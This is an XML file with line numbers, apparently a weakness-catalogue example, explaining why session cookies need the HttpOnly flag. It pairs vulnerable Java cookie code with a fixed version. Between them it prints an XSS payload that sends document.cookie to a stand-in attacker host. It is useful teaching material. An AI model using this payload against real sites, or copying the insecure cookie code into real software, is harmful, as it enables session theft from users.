| 1 |
<Demonstrative_Examples xmlns="http://xmlschema.test/ns" xmlns:xhtml="http://www.w3.org/1999/xhtml"> |
| 2 |
<Demonstrative_Example> |
| 3 |
<Intro_Text>In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.</Intro_Text> |
| 4 |
<Body_Text>The snippet of code below establishes a new cookie to hold the sessionID.</Body_Text> |
| 5 |
<Example_Code Nature="Bad" Language="Java"> |
| 6 |
<xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>response.addCookie(c);</xhtml:div> |
| 7 |
</Example_Code> |
| 8 |
<Body_Text>The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:</Body_Text> |
| 9 |
<Example_Code Nature="Attack" Language="JavaScript"> |
| 10 |
<xhtml:div>document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'</xhtml:div> |
| 11 |
</Example_Code> |
| 12 |
<Body_Text>When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.</Body_Text> |
| 13 |
<Body_Text>To mitigate the risk, use the setHttpOnly(true) method.</Body_Text> |
| 14 |
<Example_Code Nature="Good" Language="Java"> |
| 15 |
<xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>c.setHttpOnly(true);<xhtml:br/>response.addCookie(c);</xhtml:div> |
| 16 |
</Example_Code> |
| 17 |
</Demonstrative_Example> |
| 18 |
</Demonstrative_Examples> |